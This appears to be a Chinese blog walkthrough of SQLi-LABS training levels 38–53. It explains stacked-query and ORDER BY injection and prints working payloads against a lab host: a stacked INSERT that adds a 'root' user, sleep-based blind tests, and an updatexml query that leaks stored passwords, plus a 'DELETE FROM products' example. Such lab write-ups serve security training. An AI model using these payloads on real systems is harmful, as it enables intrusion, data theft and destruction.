SQLi-LABS3
Less-38
堆叠查询
1 |
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
tips:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
answer:
1 |
http://192.168.3.7/sqli/Less-38/?id=1';insert into users(id,username,password) values (120,'root','root')--+ |
Less-39
整形堆叠查询
Less-40
同上,’)闭合,并且错误不回显
Less-41
同上,无闭合,错误不回显
Less-42
登录密码输入框那里存在堆叠注入
1 |
username=a' or 1# |
登录失败,下面换成password试试:
1 |
username=a |
登录成功,所以password没有经过过滤,所以在这进行构造
Less-43
跟上题一样思路,’)闭合
Less-44
与42关基本一样,区别在:没有回显信息
1 |
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); |
Less-45
且为 ‘) 闭合
Less-46
order by 延迟注入
1 |
$id=$_GET['sort']; |
sort=1 desc 或者asc。显示的结果不同,所以可以注入
看看在MySQL 5中的SELECT语法:
1 |
SELECT |
盲注
基于时间的盲注
1 |
http://192.168.3.7/sqli/Less-46/?sort=if(1=1,sleep(3),1) %23 |
基于布尔的盲注
报错注入
1 |
http://192.168.3.7/sqli/Less-46/?sort=updatexml(1,substr(concat(0x23,(select group_concat(password) from users ),0x23),65,96),1)%23 |
Less-47
如上 ,单引号闭合
Less-48
order by 时间盲注
1 |
http://192.168.3.7/sqli/Less-48/?sort=if(1=1,sleep(3),1) %23 |
Less-49
同上 单引号闭合
Less-50
order by 堆叠查询
Less-51
堆叠查询
Less-52
堆叠查询
Less-53
堆叠查询
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论